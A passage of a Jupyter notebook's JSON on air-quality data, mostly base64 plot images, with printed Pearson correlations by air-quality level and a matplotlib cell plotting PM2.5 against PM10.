tWeffRaHw0FRURFPPfUUw4cPp0uXLuTm5rJ48WIWLlzIihUrKCwsZM2aNW3aBoPBgN1uD8pLnTx5Mh999BFff/01EydObPC1er0+MLmsb9++9OzZk8WLF2OxWLBYLCxZsoRu3boxcODAs2pjYmIiI0eO5Omnn6aiooKioqKg8xATE0NkZCQffPABiqKwf/9+/vnPfwYef+utt5g/fz4lJSWEhYURFhZGSEgIer0+MOJZ8z4aY7PZ8Hq9mEwmAI4cOcKLL74IEJicVJ+TJ0+yc+dO7rjjDhISEgL/kpKSuPXWW1m/fn29o7f9+vWje/furFy5EpvNhsPhYMWKFUybNg2v14vVakWr1aLT6fB4PLz33nt88cUXgSD+pZdeYvny5VitViIiIjCZTIHR0vrOcX3pDzqdjtGjRzN+/Hjmz5/f6PtsSmFhIZ07d27164UQzSfBqxDinAgPD2f9+vUcOnSIa665hptuuokuXbqwevVqvF4vc+fOZcSIEdx8882EhYWxYsUKXn75ZXbv3t1mbRgyZAgxMTEMGTKEgwcPAnDttddis9no169fo8HG+PHj+f7777n22mvRarWsXbsWj8fDuHHjGD16NG63m/Xr16PVnv0NrD/96U+Eh4czevRoJk+ezFVXXRV4TK/Xs3z5crZv387AgQNZuXIlt99+e+Dx//7v/6Z79+7ceOONDBw4kHfeeYc///nPGAwGUlNTGTRoEFdffTWff/55o23o0aMH8+fPZ968eQwaNIjf/va3TJ48GZ1Ox6FDhxp83caNG0lLS+OKK66o89iUKVM4duwYn3zySZ3Has5pcXExv/rVrxg5ciQnT55k/fr1GAwG7rvvPjp37szo0aO5+uqr2bJlC3feeWegLcuWLcPn8zF27FiGDBlCVlYWq1evrreNGRkZjS4J9sQTT1BaWsoLL7zQ6DlqSE5ODuXl5YwYMaJVrxdCtIxKae0iiEII0UFNnDiRGTNmMH78+PZuijgPXC4XY8eOZc2aNfWuOHC21q5dS3Z2Ns8991yb71sIUZeMvAohLhnHjh1j06ZNFBUVcd1117V3c8R5otfreeSRR85JJSyXy8XmzZvbvFCHEKJhErwKIS4ZCxcuZPXq1Tz11FPo9fr2bo44j2677TbsdnuzSuG2xLp165gyZcoFVU1MiIudpA0IIYQQQogOQ0ZehRBCCCFEhyHBqxBCCCGE6DAkeBVCCCGEEB2GBK9CCCGEEKLDkOBVCCGEEEJ0GBK8CiGEEEKIDkOCVyGEEEII0WFI8CqEEEIIIToMCV6FEEIIIUSH8f8andCmpdjWzAAAAABJRU5ErkJggg=="
},
"metadata": {},
"output_type": "display_data"
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"Pearson Correlation Coefficients by Air Quality Level:\n",
"Air Quality 1: r = 0.07\n",
"Air Quality 2: r = -0.02\n",
"Air Quality 3: r = -0.02\n",
"Air Quality 4: r = -0.01\n",
"\n",
"Overall Correlation (All Data): r = -0.71\n"
]
}
],
"execution_count": 4
},
{
"metadata": {},
"cell_type": "markdown",
"source": "2. PM2.5 vs PM10",
"id": "2baacbb90cdb2ee1"
},
{
"metadata": {
"ExecuteTime": {
"end_time": "2025-02-21T18:42:07.861545Z",
"start_time": "2025-02-21T18:42:06.897603Z"
}
},
"cell_type": "code",
"source": [
"plt.figure(figsize=(8, 6))\n",
"for aq_class, color in color_mapping.items():\n",
" subset = df[df[\"Air Quality\"] == aq_class]\n",
" plt.scatter(subset[\"PM2.5\"], subset[\"PM10\"],\n",
" color=color, label=f\"Air Quality {aq_class}\", alpha=0.6)\n",
"\n",
"plt.xlabel(\"PM2.5 Concentration (µg/m³)\")\n",
"plt.ylabel(\"PM10 Concentration (µg/m³)\")\n",
"plt.title(\"Scatter Plot: PM2.5 vs PM10\")\n",
"plt.legend(title=\"Air Quality\")\n",
"plt.grid(True)\n",
"plt.show()"
],
"id": "3dd320f2570bd3ef",
"outputs": [
{
"data": {
"text/plain": [
"<Figure size 800x600 with 1 Axes>"
],
"image/png": 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